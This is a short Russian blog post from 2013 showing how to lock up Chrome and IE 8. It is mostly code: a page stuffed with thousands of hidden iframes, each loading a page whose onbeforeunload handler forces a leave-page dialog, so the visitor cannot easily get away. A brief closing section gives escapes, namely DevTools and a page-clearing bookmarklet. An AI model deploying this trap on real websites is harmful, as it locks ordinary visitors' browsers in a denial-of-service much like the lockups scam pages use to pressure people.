JavaScript → Заблокировать Chrome старым добрым while(1)alert(1);
20 февраля 2013
Нет, при попытке использования кода:
<script>while(1)alert(1)</script>
Chrome позволит остановить выполнение скрипта:

Однако, достаточно вставить на страничку достаточное число <iframe>-ов страничек, содержащих обработчик события onbeforeunload и unload:
<iframe src="/onbeforeunload.htm"></iframe> <iframe src="./onbeforeunload.htm"></iframe> <iframe src="./onbeforeunload.htm"></iframe> <iframe src="./onbeforeunload.htm"></iframe> ...
onbeforeunload.htm
<script>
window.onbeforeunload = function(){
return "Ha-Ha!";
};
window.addEventListener("unload", function(){
}, false);<script>
Если разместить 10 000 (естественно невидимых (<style>iframe{display:none;}</style>)) <iframe>-ов, то придётся очень долго жать Enter...
Чтобы уходить с таких страничек можно вызвать Developer Tools через Ctrl+Shift+I (или правой кнопкой, Просмотр кода элемента) и отредактировать страничку, удалив там всё.
Или использовать этот букмарклет (перетащите эту сслылку на панель закладок (Ctrl+Shift+B)):
javascript:document.getElementsByTagName("html")[0].innerHTML="";window.open("","_self");window.close();
Работает демо и в IE 8 (правда букмарклет или javascript: в адресной строке там не спасёт).

